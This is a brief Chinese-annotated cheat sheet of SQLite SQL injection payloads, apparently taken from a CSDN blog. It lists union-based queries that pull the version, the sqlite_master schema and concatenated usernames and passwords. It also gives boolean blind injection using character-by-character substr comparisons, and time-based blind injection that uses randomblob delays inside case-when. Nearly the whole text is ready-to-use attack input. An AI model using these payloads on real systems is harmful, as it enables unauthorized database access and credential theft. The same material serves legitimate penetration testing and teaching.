1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| -1' union select 1,2,3; 1' order by 3;
0' union select 1,2,sqlite_version(); #查询表名和列名 通过查询 sqlite_master 表来实现: -1' union select 1,2,(select sql from sqlite_master limit 0,1),4;
-1' union select 1,2,(select group_concat(sql) from sqlite_master),4; 0' union select 1,2,tbl_name FROM sqlite_master limit 2 offset 1 --
-1' union select 1,2,(select group_concat(username,password) from table_name),4;
布尔盲注 #根据查询正确或错误时的页面回显来判断数据内容: -1' or length(sqlite_version())=5/* -1' or length(sqlite_version())=6/*
-1' or substr((select group_concat(sql) from sqlite_master),1,1)>'a'/* -1' or substr((select group_concat(sql) from sqlite_master),1,1)<'a'/* -1' or substr((select group_concat(sql) from sqlite_master),2,1)>'b'/* -1' or substr((select group_concat(sql) from sqlite_master),2,1)<'b'/* -1' or substr((select group_concat(sql) from sqlite_master),3,1)>'C'/* -1' or substr((select group_concat(sql) from sqlite_master),3,1)<'C'/* ......
时间盲注 #QLite 没有 sleep() 函数,但是有个 randomblob(N) 函数,其作用是返回一个 N 字节长的包含伪随机字节的 BLOG。 N 是正整数。可以用它来制造延时。 并且 SQLite 没有 if,所以我们需要使用 case...when 来构造查询语句: -1' or (case when(substr(sqlite_version(),1,1)='3') then randomblob(1000000000) else 0 end)/*
by
https://blog.csdn.net/2201_75824562/article/details/139362754
|